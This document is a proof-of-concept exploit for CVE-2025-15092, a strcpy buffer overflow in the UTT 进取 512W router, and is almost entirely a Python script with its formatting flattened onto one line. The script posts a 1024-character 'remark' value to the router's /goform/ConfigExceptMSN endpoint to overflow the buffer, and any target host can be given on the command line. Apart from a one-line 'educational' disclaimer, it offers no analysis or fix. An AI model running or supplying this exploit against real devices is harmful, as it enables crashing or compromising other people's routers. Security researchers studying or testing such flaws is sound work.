CVE-2025-15092: UTT 进取 512W路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15092 PoC - UTT 进取 512W Buffer Overflow in /goform/ConfigExceptMSN Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET_HOST = "http://target路由器IP" TARGET_URL = f"{TARGET_HOST}/goform/ConfigExceptMSN" def exploit_buffer_overflow(): """ Exploit the strcpy buffer overflow in ConfigExceptMSN endpoint """ # Generate payload with excessive length to trigger overflow # Adjust length based on actual buffer size overflow_length = 1024 payload = "A" * overflow_length data = { "remark": payload # Vulnerable parameter } try: print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload length: {len(payload)}") response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] TARGET_URL = f"{TARGET_HOST}/goform/ConfigExceptMSN" exploit_buffer_overflow()